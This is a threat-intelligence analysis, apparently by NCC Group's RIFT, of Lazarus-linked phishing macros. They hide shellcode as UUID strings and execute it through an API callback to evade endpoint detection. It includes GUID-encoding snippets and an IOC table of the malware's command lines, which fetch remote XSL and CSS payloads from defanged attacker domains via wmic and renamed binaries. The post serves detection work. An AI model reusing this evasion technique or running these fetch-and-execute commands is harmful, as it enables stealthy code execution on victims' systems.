About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
On January 21st, the following malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn), was also recently documented by ESET in their Operation In(ter)ception paper.
After analysing the macro document, and pivoting on the macro, NCC Group’s RIFT identified a number of other similar documents. In these documents we came across an interesting technique being used to execute shellcode from VBA without the use of common “suspicious” APIs, such as
CreateThread – which may be detected by end point protection solutions. Instead, the macro documents abuse “benign” Windows API features to achieve code-execution.
Shellcode Execution Technique
After extracting the macro, we can see that the VBA macro declares a number API calls. An alias is registered in an attempt to make these API calls appear less suspicious.
Once these are renamed, we can easily see what the macro is doing:
- First, macro execution is triggered using the “Microsoft Forms 2.0 Frame” ActiveX control, using the
- Once triggered, it creates a new executable heap via
- It then allocates some memory on the newly created heap using
- It then calls
FindImage3user defined VBA functions
Looking at the
FindImage functions, we can notice something interesting. The code is using the
UuidFromStringA Windows API function, and iterating through a large list of hardcoded UUID values, each time providing a pointer into to the previously allocated heap. This seems interesting as it appears to be a way of writing data to the (executable) heap!
If we check the Microsoft documentation for the
UuidFromStringA function, we can see that it takes a string-based UUID and converts it to it’s binary representation. It takes a pointer to a UUID, which will be used to return the converted binary data. By providing a pointer to an heap address, this function can be (ab)used to both decode data and write it to memory without using common functions such as
Microsoft uses little-endian byte-order for storing GUIDs in binary form. Converting shellcode bytes to a GUID string in Python is as simple as:
>>> u = '\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF' >>> uuid.UUID(bytes_le=u) UUID('1f748bef-481c-fe01-8b34-ae4801f799ff')
To convert it from a string to bytes:
>>> uuid.UUID('1f748bef-481c-fe01-8b34-ae4801f799ff').bytes_le '\xef\x8bt\x1f\x1cH\x01\xfe\x8b4\xaeH\x01\xf7\x99\xff'
Looking back at the main function of the macro, we can see that after decoding the shellcode from UUID values and writing it to the heap, it calls then
Again, looking at the MSDN page, we find the following description:
From this we can deduce that the
lpLocaleEnumProc parameter specifies a callback function! By providing the address returned previously by HeapAlloc, this function can be (ab)used to execute shellcode. Searching on the internet reveals that this technique was previously documented by Jeff White. Their blog lists a large number of other APIs which could be abused to achieve a similar result.
Re-Implementing in C
In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign
calc shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.
When we run the executable, we can see that the
calc shellcode is written to the heap and executes when we call
Decoding the Macro
The following script was created to extract and decode the shellcode from the sample. We confirmed that script works for other related samples we have in our dataset. Whilst some of them (such as the one shared by CheckPoint) are more heavily obfuscated, the shellcode encoding (via GUIDs) is the same.
Executing the extracted shellcode, we can confirm the IOCs that were shared in CheckPoint’s original Tweet, as well as the AnyRun report. Florian Roth also shared that this sample is detected with this Sigma rule.
The following samples were identified:
47a342545d8df9c2c1e0e945f2c4fca3a440dc00cff40727abff12d307c8c788 bdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610 949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69 f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
|Command Line||C:\Windows\system32\wscript.EXE “C:\ProgramLogs\PerformLogs.vbs”||N/A||f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88|
|Command Line||C:\ProgramLogs\AdvancedLog.exe /Q /i “hxxp://crmute[.]com/custom.css”||N/A||f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88|
|Command Line||C:\Windows\System32\pcalua.exe -a “C:\ProgramLogs\AdvancedLog” -c /Q /i “hxxp://crmute[.]com/custom.css”||N/A||f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88|
|File||C:\ProgramLogs\wmp.dll||N/A – copy of wmp.dll||f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88|
|File||C:\Intel\hidasvc.exe||N/A – copy of wmic.exe||949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69|
|Folder||C:\OneDrive||N/A – copy of wmic.exe||cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610|
|File||C:\Intel\hidasvc.exe||N/A – copy of wmic.exe||bdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa|
|Command Line||%COMSPEC% /c Start /miN c:\Intel\hidasvc ENVIRONMENT get STATUS /FORMAT:”hxxps://www.advantims[.]com/GfxCPL.xsl”||N/A||bdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa|
|Command Line||%COMSPEC% /c START /MIN C:\OneDrive\OneDriveSync ENVIRONMENT GET STATUS /FORMAT:”hxxps://www.advantims[.]com/Sync.xsl”||cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610|